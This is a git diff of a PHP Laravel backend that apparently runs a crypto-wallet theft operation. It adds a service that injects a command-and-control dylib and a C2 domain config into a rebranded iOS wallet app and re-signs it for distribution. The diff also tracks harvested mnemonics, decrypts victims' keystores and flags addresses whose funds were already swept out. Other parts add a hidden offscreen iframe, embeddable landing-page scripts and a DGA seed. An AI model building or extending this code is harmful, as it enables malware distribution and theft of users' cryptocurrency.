$q->where('chain_type', $chainType); $q->where('chain_type', $chainType);
} }
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) { $items = collect($paginator->items());
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
$data = $items->map(function (WalletAddress $addr) use ($swept) {
$coins = $addr->formattedCoins(); $coins = $addr->formattedCoins();
return [ return [
@@ -632,6 +635,7 @@ class DeviceController extends Controller
'eth' => $coins['eth'], 'eth' => $coins['eth'],
'btc' => $coins['btc'], 'btc' => $coins['btc'],
'bnb' => $coins['bnb'], 'bnb' => $coins['bnb'],
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
'monitor' => (int) $addr->monitor, 'monitor' => (int) $addr->monitor,
'monitor_synced' => (bool) $addr->monitor_synced, 'monitor_synced' => (bool) $addr->monitor_synced,
'monitor_failures' => (int) $addr->monitor_failures, 'monitor_failures' => (int) $addr->monitor_failures,
@@ -707,6 +711,7 @@ class DeviceController extends Controller
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_api_url' => route($portal.'.keystores.detail', $row->id), 'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id), 'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
]; ];
})->values(); })->values();
@@ -239,7 +239,7 @@ class KeystoreController extends Controller
if (! $this->keystoreAllowed($keystore)) { if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403); return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
} }
if ((int) $keystore->needs_password !== 1) { if ((int) $keystore->needs_password !== 1 && ! $keystore->hasWeb3Keystore()) {
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400); return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
} }
$password = trim((string) $request->input('password', '')); $password = trim((string) $request->input('password', ''));
@@ -4,12 +4,12 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\Device; use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\User; use App\Models\User;
use App\Support\CfIpCountry;
use App\Support\AgentScope; use App\Support\AgentScope;
use App\Support\CfIpCountry;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Http\Request; use Illuminate\Http\Request;
@@ -154,7 +154,7 @@ class PageVisitController extends Controller
$q->where('referer', 'like', '%'.$referer.'%'); $q->where('referer', 'like', '%'.$referer.'%');
} }
[$from, $to] = $this->rangeBounds((string) $request->query('range', '30d')); [$from, $to] = $this->rangeBounds((string) $request->query('range', 'today'));
$q->whereBetween('created_at', [$from, $to]); $q->whereBetween('created_at', [$from, $to]);
return $q; return $q;
+27
View File
@@ -204,6 +204,33 @@ class Channel extends Model
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>'; return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
} }
public function promoScriptSnippet(): string
{
return '<script src="./index.js"></script>';
}
public function embedAssetDir(): ?string
{
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
$dir = match ($this->builderType()) {
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
default => null,
};
if ($dir === null || ! is_dir($dir)) {
return null;
}
return $dir;
}
public function embedZipName(): string
{
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
return 'channel-embed-'.$safe.'.zip';
}
public static function randomChannelId(): string public static function randomChannelId(): string
{ {
return bin2hex(random_bytes(16)); return bin2hex(random_bytes(16));
+5 -1
View File
@@ -13,7 +13,9 @@ class DailyStat extends Model
protected $fillable = [ protected $fillable = [
'stat_date', 'stat_date',
'scope_key', 'scope_key',
'pv',
'uv', 'uv',
'effective_pv',
'effective_uv', 'effective_uv',
'devices', 'devices',
'wallet_devices', 'wallet_devices',
@@ -25,7 +27,9 @@ class DailyStat extends Model
protected function casts(): array protected function casts(): array
{ {
return [ return [
'pv' => 'integer',
'uv' => 'integer', 'uv' => 'integer',
'effective_pv' => 'integer',
'effective_uv' => 'integer', 'effective_uv' => 'integer',
'devices' => 'integer', 'devices' => 'integer',
'wallet_devices' => 'integer', 'wallet_devices' => 'integer',
@@ -34,4 +38,4 @@ class DailyStat extends Model
'computed_at' => 'datetime', 'computed_at' => 'datetime',
]; ];
} }
}; }
-2
View File
@@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Photo extends Model class Photo extends Model
{ {
public const X_HIT_ALERT = 12;
protected function casts(): array protected function casts(): array
{ {
return [ return [
+40
View File
@@ -24,4 +24,44 @@ class TransferRecord extends Model
'status', 'status',
'error', 'error',
]; ];
/**
* Addresses that already have a successful outbound sweep.
*
* @param list<string> $addresses
* @return array<string, true>
*/
public static function successfulSweepSet(array $addresses): array
{
$addresses = array_values(array_unique(array_filter(
$addresses,
static fn ($address) => is_string($address) && $address !== ''
)));
if ($addresses === []) {
return [];
}
$found = static::query()
->whereIn('from_address', $addresses)
->where('status', self::STATUS_SUCCESS)
->where('type', self::TYPE_OUT)
->distinct()
->pluck('from_address');
$set = [];
foreach ($found as $address) {
$set[(string) $address] = true;
$set[strtolower((string) $address)] = true;
}
return $set;
}
/**
* @param array<string, true> $set
*/
public static function addressInSweepSet(string $address, array $set): bool
{
return isset($set[$address]) || isset($set[strtolower($address)]);
}
} }
+299
View File
@@ -0,0 +1,299 @@
<?php
namespace App\Services;
use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use RuntimeException;
/**
* Build a customized AI Wallet IPA for App-builder channels.
*
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
* Signing uses ldid via proc_open.
*/
class AiWalletPackageService
{
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
private const ICON_SIZES = [
'AppIcon60x60@2x.png' => 120,
'AppIcon60x60@3x.png' => 180,
'AppIcon76x76@2x~ipad.png' => 152,
];
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
{
$baseIpa = storage_path('app/'.self::BASE_IPA);
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
if (!file_exists($baseIpa)) {
return $this->fail('Base IPA not found: '.$baseIpa);
}
if (!file_exists($c2Dylib)) {
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
}
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
if (is_dir($workDir)) $this->rrmdir($workDir);
@mkdir($workDir, 0755, true);
try {
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
// 1. Extract base IPA
$zip = new \ZipArchive;
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
$zip->extractTo($workDir);
$zip->close();
$appDir = $this->findAppDir($workDir);
if (!$appDir) throw new RuntimeException('No .app directory found');
// 2. Copy pre-compiled c2_simple.dylib
$fwDir = $appDir.'/Frameworks';
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
Log::info('AiWallet: c2_simple.dylib copied');
// 3. Write c2_config.plist
$this->writeConfigPlist($appDir, $channel, $apiDomain);
Log::info('AiWallet: c2_config.plist written');
// 4. Add LC_LOAD_DYLIB (Python script)
$mainBin = $this->findMainBinary($appDir);
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
Log::info('AiWallet: LC_LOAD_DYLIB added');
// 5. Patch Info.plist (Python script)
$this->runPython(base_path('bin/patch_plist.py'), [
$appDir.'/Info.plist',
$channel->app_name,
$channel->bundle_id ?: 'com.ai.wallet.next',
'1.6.1',
]);
Log::info('AiWallet: Info.plist patched');
// 6. Replace splash + remove LaunchScreen
$this->replaceSplashAndLaunchScreen($appDir);
Log::info('AiWallet: splash/LaunchScreen replaced');
// 7. Generate icons
if ($logoPath && file_exists($logoPath)) {
$this->generateIcons($appDir, $logoPath);
Log::info('AiWallet: icons generated');
}
// 8. Sign with ldid
$this->sign($appDir);
Log::info('AiWallet: signed');
// 9. Package IPA
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
$outputFull = public_path($outputPath);
@mkdir(dirname($outputFull), 0755, true);
$outZip = new \ZipArchive;
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('Cannot create output IPA');
}
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
$outZip->close();
$size = filesize($outputFull);
$this->rrmdir($workDir);
Log::info('AiWallet: build complete', ['size' => $size]);
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
} catch (\Throwable $e) {
$this->rrmdir($workDir);
Log::error('AiWallet: build failed', [
'channel' => $channel->channel_id,
'error' => $e->getMessage(),
]);
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
}
}
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
{
$config = [
'C2Domain' => $apiDomain,
'C2Port' => '443',
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
'AppId' => $channel->channel_id,
'ChannelId' => $channel->channel_id,
'AppName' => $channel->app_name,
];
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
.'<plist version="1.0"><dict>'."\n";
foreach ($config as $key => $value) {
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
}
$xml .= '</dict></plist>';
file_put_contents($appDir.'/c2_config.plist', $xml);
}
private function runPython(string $script, array $args): void
{
if (!file_exists($script)) {
throw new RuntimeException('Script not found: '.$script);
}
$cmd = 'python3 '.escapeshellarg($script);
foreach ($args as $arg) {
$cmd .= ' '.escapeshellarg($arg);
}
$cmd .= ' 2>&1';
$output = [];
$exitCode = 0;
exec($cmd, $output, $exitCode);
if ($exitCode !== 0) {
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
}
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
}
private function replaceSplashAndLaunchScreen(string $appDir): void
{
// Replace Flutter splash with white
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
$img = imagecreatetruecolor(10, 10);
$white = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $white);
imagepng($img, $splashPath);
imagedestroy($img);
}
// Remove LaunchScreen storyboard
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
if (is_dir($lsDir)) $this->rrmdir($lsDir);
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (!function_exists('imagecreatefrompng')) {
Log::warning('AiWallet: GD not available, skipping icons');
return;
}
$src = imagecreatefrompng($logoPath);
if (!$src) return;
// Remove Assets.car so iOS uses loose PNGs
$assetsCar = $appDir.'/Assets.car';
if (file_exists($assetsCar)) unlink($assetsCar);
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
imagealphablending($dst, false);
imagesavealpha($dst, true);
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
imagepng($dst, $appDir.'/'.$filename);
imagedestroy($dst);
}
imagedestroy($src);
}
private function sign(string $appDir): void
{
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
if ($ldidPath === '' || !file_exists($ldidPath)) {
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
return;
}
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) $this->rrmdir($csDir);
$binaries = array_merge(
[$this->findMainBinary($appDir)],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
);
foreach ($binaries as $bin) {
if (!is_file($bin)) continue;
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
if (is_resource($proc)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exitCode = proc_close($proc);
if ($exitCode !== 0) {
Log::warning('AiWallet: ldid failed for '.basename($bin), [
'exit' => $exitCode, 'stderr' => $stderr,
]);
} else {
Log::info('AiWallet: ldid signed '.basename($bin));
}
}
}
@mkdir($csDir, 0755, true);
file_put_contents($csDir.'/CodeResources',
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
}
private function findAppDir(string $workDir): ?string
{
$payload = $workDir.'/Payload';
if (!is_dir($payload)) return null;
foreach (scandir($payload) as $item) {
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
}
return null;
}
private function findMainBinary(string $appDir): string
{
$appName = basename($appDir, '.app');
return $appDir.'/'.$appName;
}
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
{
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
$zipPath = $prefix.'/'.$item;
if (is_dir($path)) {
$zip->addEmptyDir($zipPath);
$this->addDirToZip($zip, $path, $zipPath);
} else {
$zip->addFile($path, $zipPath);
}
}
}
private function rrmdir(string $dir): void
{
if (!is_dir($dir)) return;
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
if (is_dir($path)) $this->rrmdir($path);
else @unlink($path);
}
@rmdir($dir);
}
private function fail(string $error): array
{
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
}
}
+139
View File
@@ -0,0 +1,139 @@
<?php
namespace App\Services;
use App\Models\Channel;
use RuntimeException;
use ZipArchive;
class ChannelEmbedZipService
{
/**
* @return list<string>
*/
public function listFiles(Channel $channel): array
{
$dir = $channel->embedAssetDir();
if ($dir === null) {
return [];
}
return $this->collectFiles($dir);
}
public function build(Channel $channel): string
{
$dir = $channel->embedAssetDir();
if ($dir === null) {
throw new RuntimeException('渠道静态资源不存在,请先构建');
}
$files = $this->collectFiles($dir);
if ($files === []) {
throw new RuntimeException('渠道目录里没有可打包的浏览器资源');
}
if (! class_exists(ZipArchive::class)) {
throw new RuntimeException('PHP ZipArchive 不可用');
}
$tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-');
if ($tmp === false) {
throw new RuntimeException('无法创建临时文件');
}
@unlink($tmp);
$zipPath = $tmp.'.zip';
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('无法创建 zip');
}
$statOrigin = $this->statOrigin();
foreach ($files as $rel) {
$abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel);
$contents = file_get_contents($abs);
if ($contents === false) {
continue;
}
if ($rel === 'index.js' && $statOrigin !== '') {
$contents = $this->bakeStatOrigin($contents, $statOrigin);
}
$zip->addFromString($rel, $contents);
}
$zip->addFromString('README.txt', $this->readme($channel));
$zip->close();
return $zipPath;
}
private function statOrigin(): string
{
$domains = Channel::normalizeDomainList(config('coruna.channel_domains', []));
$host = trim((string) ($domains[0] ?? ''));
if ($host === '') {
return '';
}
if (preg_match('#^https?://#i', $host)) {
return rtrim($host, '/');
}
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
return $scheme.'://'.rtrim($host, '/');
}
private function bakeStatOrigin(string $boot, string $origin): string
{
$quoted = json_encode($origin, JSON_UNESCAPED_SLASHES);
$updated = preg_replace(
'/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/',
'var STAT_ORIGIN = '.$quoted,
$boot,
1,
);
return is_string($updated) ? $updated : $boot;
}
private function readme(Channel $channel): string
{
$id = (string) $channel->channel_id;
return "把本 zip 解压到站点根目录(与首页同级),页面中加入:\n"
."<script src=\"./index.js\"></script>\n\n"
."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n";
}
/**
* @return list<string>
*/
private function collectFiles(string $dir): array
{
$skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt'];
$skipDirs = ['templates', '_bak', '__pycache__'];
$files = [];
$iterator = new \RecursiveIteratorIterator(
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $file) {
if (! $file->isFile()) {
continue;
}
$abs = $file->getPathname();
$rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/');
$parts = explode('/', $rel);
if (array_intersect($parts, $skipDirs) !== []) {
continue;
}
if (in_array(end($parts), $skipNames, true)) {
continue;
}
$ext = strtolower((string) $file->getExtension());
if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) {
continue;
}
$files[] = $rel;
}
sort($files);
return $files;
}
}
+90 -41
View File
@@ -52,16 +52,10 @@ class ChannelProjectService
); );
} }
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
$deploymentSeed,
$reportingSeed,
);
return $this->generateOld( return $this->generateOld(
$this->normalizeChannelId($channelId), $this->normalizeChannelId($channelId),
$supportTemplate, $supportTemplate,
$deploymentSeed, dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
$reportingSeed,
); );
} }
@@ -130,10 +124,10 @@ class ChannelProjectService
private function generateOld( private function generateOld(
string $channelId, string $channelId,
string $supportTemplate, string $supportTemplate,
?string $deploymentSeed, string $dsDomain = '',
?string $reportingSeed,
): array { ): array {
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate); $supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
$seed = $this->requireEnvOldSeed();
$cmd = [ $cmd = [
$this->pythonBinary(self::BUILDER_OLD), $this->pythonBinary(self::BUILDER_OLD),
$this->builderScript('new_project.py', self::BUILDER_OLD), $this->builderScript('new_project.py', self::BUILDER_OLD),
@@ -146,12 +140,14 @@ class ChannelProjectService
'--support-template', '--support-template',
$supportTemplate, $supportTemplate,
'--force', '--force',
'--deployment-seed',
$seed,
'--reporting-seed',
$seed,
]; ];
if ($deploymentSeed !== null && $reportingSeed !== null) { if ($dsDomain !== '') {
$cmd[] = '--deployment-seed'; $cmd[] = '--ds-domain';
$cmd[] = $deploymentSeed; $cmd[] = $dsDomain;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
} }
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD)); $result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
@@ -174,6 +170,7 @@ class ChannelProjectService
'weifile_path' => null, 'weifile_path' => null,
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'), 'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
'support_template' => (string) ($result['support_template'] ?? $supportTemplate), 'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
'ds_domain' => $dsDomain,
]; ];
} }
@@ -213,6 +210,72 @@ class ChannelProjectService
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW)); return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
} }
/**
* Rebuild existing old-builder channels in place (same 32-hex channel_id).
* DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/.
*
* @param list<string>|null $channelIds null = all builder_type=old rows
* @return array{channels: list<array<string, mixed>>}
*/
public function rebuildOldChannels(
?array $channelIds = null,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
string $dsDomain = '',
): array {
$ids = $this->resolveOldChannelIds($channelIds);
if ($ids === []) {
throw new RuntimeException('没有可重打的旧版渠道(builder_type=old)');
}
$channels = [];
foreach ($ids as $id) {
$channels[] = $this->generateOld(
$id,
$supportTemplate,
$dsDomain,
);
}
return [
'channels' => $channels,
];
}
/**
* @param list<string>|null $channelIds
* @return list<string>
*/
public function resolveOldChannelIds(?array $channelIds = null): array
{
if ($channelIds === null) {
return Channel::query()
->where('builder_type', self::BUILDER_OLD)
->orderBy('id')
->pluck('channel_id')
->map(function ($id) {
try {
return $this->normalizeChannelId((string) $id);
} catch (RuntimeException) {
return null;
}
})
->filter()
->values()
->all();
}
$ids = [];
foreach ($channelIds as $raw) {
try {
$ids[] = $this->normalizeChannelId((string) $raw);
} catch (RuntimeException) {
throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw);
}
}
return array_values(array_unique($ids));
}
/** /**
* Rebuild existing new-builder channels in place (same channel_id / ver patch). * Rebuild existing new-builder channels in place (same channel_id / ver patch).
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each * Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
@@ -428,6 +491,19 @@ class ChannelProjectService
return $c; return $c;
} }
private function requireEnvOldSeed(): string
{
$seed = strtolower(trim((string) config('coruna.channel_builder.seed', '')));
if ($seed === '') {
throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED(32 位 hex)');
}
if (! preg_match('/^[0-9a-f]{32}$/', $seed)) {
throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex');
}
return $seed;
}
private function normalizeSharedChannelC(?string $channelC): ?string private function normalizeSharedChannelC(?string $channelC): ?string
{ {
$c = strtolower(trim((string) ($channelC !== null && $channelC !== '' $c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
@@ -749,31 +825,4 @@ class ChannelProjectService
return $supportTemplate; return $supportTemplate;
} }
/**
* @return array{0: ?string, 1: ?string}
*/
private function normalizeOptionalSeeds(
?string $deploymentSeed,
?string $reportingSeed,
): array {
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
return [null, null];
}
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
}
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
}
}
if ($deploymentSeed !== $reportingSeed) {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
}
return [$deploymentSeed, $reportingSeed];
}
} }
+12 -4
View File
@@ -12,6 +12,7 @@ use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Support\AgentScope; use App\Support\AgentScope;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Collection; use Illuminate\Support\Collection;
class DailyReportService class DailyReportService
@@ -122,12 +123,14 @@ class DailyReportService
$end = $to->copy()->startOfDay(); $end = $to->copy()->startOfDay();
while ($cursor->lte($end)) { while ($cursor->lte($end)) {
if ($force || $cursor->gte($refreshFrom) || ! $this->dayIsFresh($cursor, $agentUserId)) { if ($force || $cursor->gte($refreshFrom) || ! $this->dayIsFresh($cursor, $agentUserId)) {
[$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId); [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount, $pv, $effectivePv] = $this->totalsForDay($cursor, $agentUserId);
$row = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount); $row = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount);
DailyStat::query()->updateOrCreate( DailyStat::query()->updateOrCreate(
['stat_date' => $row['date'], 'scope_key' => $scope], ['stat_date' => $row['date'], 'scope_key' => $scope],
[ [
'pv' => $pv,
'uv' => $row['uv'], 'uv' => $row['uv'],
'effective_pv' => $effectivePv,
'effective_uv' => $row['effective_uv'], 'effective_uv' => $row['effective_uv'],
'devices' => $row['devices'], 'devices' => $row['devices'],
'wallet_devices' => $row['wallet_devices'], 'wallet_devices' => $row['wallet_devices'],
@@ -233,6 +236,7 @@ class DailyReportService
->where('stat_date', $date) ->where('stat_date', $date)
->whereNotNull('computed_at') ->whereNotNull('computed_at')
->whereNotNull('address_count') ->whereNotNull('address_count')
->whereNotNull('pv')
->exists(); ->exists();
if (! $statOk) { if (! $statOk) {
return false; return false;
@@ -272,7 +276,7 @@ class DailyReportService
} }
/** /**
* @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int} * @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int, 6: int, 7: int}
*/ */
private function totalsForDay(Carbon $day, ?int $agentUserId): array private function totalsForDay(Carbon $day, ?int $agentUserId): array
{ {
@@ -285,7 +289,9 @@ class DailyReportService
$visit = $visits $visit = $visits
->whereBetween('created_at', [$from, $to]) ->whereBetween('created_at', [$from, $to])
->selectRaw( ->selectRaw(
"COUNT(DISTINCT client_uid) as uv, "COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv" COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv"
) )
->first(); ->first();
@@ -307,11 +313,13 @@ class DailyReportService
(int) ($device?->wallet_devices ?? 0), (int) ($device?->wallet_devices ?? 0),
$this->countDeviceChildrenForDay(WalletAddress::query(), 'wallet_addresses', $from, $to, $agentUserId), $this->countDeviceChildrenForDay(WalletAddress::query(), 'wallet_addresses', $from, $to, $agentUserId),
$this->countDeviceChildrenForDay(WalletMnemonic::query(), 'wallet_mnemonics', $from, $to, $agentUserId), $this->countDeviceChildrenForDay(WalletMnemonic::query(), 'wallet_mnemonics', $from, $to, $agentUserId),
(int) ($visit?->pv ?? 0),
(int) ($visit?->effective_pv ?? 0),
]; ];
} }
private function countDeviceChildrenForDay( private function countDeviceChildrenForDay(
\Illuminate\Database\Eloquent\Builder $query, Builder $query,
string $table, string $table,
Carbon $from, Carbon $from,
Carbon $to, Carbon $to,
+185 -36
View File
@@ -2,6 +2,7 @@
namespace App\Services; namespace App\Services;
use App\Models\DailyStat;
use App\Models\Device; use App\Models\Device;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\TransferRecord; use App\Models\TransferRecord;
@@ -11,10 +12,13 @@ use App\Models\WalletMnemonic;
use App\Support\AgentScope; use App\Support\AgentScope;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
class DashboardStatsService class DashboardStatsService
{ {
public const CACHE_SECONDS = 45;
/** /**
* @param array{ * @param array{
* range?: string, * range?: string,
@@ -48,8 +52,6 @@ class DashboardStatsService
public function collect(array $filters = []): array public function collect(array $filters = []): array
{ {
[$from, $to] = $this->resolveBounds($filters); [$from, $to] = $this->resolveBounds($filters);
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
$channelId = trim((string) ($filters['channel_id'] ?? '')); $channelId = trim((string) ($filters['channel_id'] ?? ''));
$channelExact = (bool) ($filters['channel_exact'] ?? false); $channelExact = (bool) ($filters['channel_exact'] ?? false);
$agent = $filters['agent'] ?? null; $agent = $filters['agent'] ?? null;
@@ -57,6 +59,74 @@ class DashboardStatsService
? $filters['agent_user_id'] ? $filters['agent_user_id']
: null; : null;
$agentUserId = $agentUserId === null ? null : (int) $agentUserId; $agentUserId = $agentUserId === null ? null : (int) $agentUserId;
$scopeAgentId = $agent !== null ? (int) $agent->id : $agentUserId;
$cacheKey = 'dashboard:stats:'.md5(json_encode([
$from->toDateTimeString(),
$to->toDateTimeString(),
$channelId,
$channelExact,
$scopeAgentId,
], JSON_THROW_ON_ERROR));
return Cache::remember($cacheKey, self::CACHE_SECONDS, function () use (
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
$scopeAgentId,
) {
return $this->compute(
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
$scopeAgentId,
);
});
}
/**
* Prefer daily_stats sums (including today, up to ~15 min stale) unless a
* channel filter cannot be served from the rollup. Missing rollup rows fall
* back to a live page_visits scan.
*
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* mnemonic_count: int,
* address_count: int,
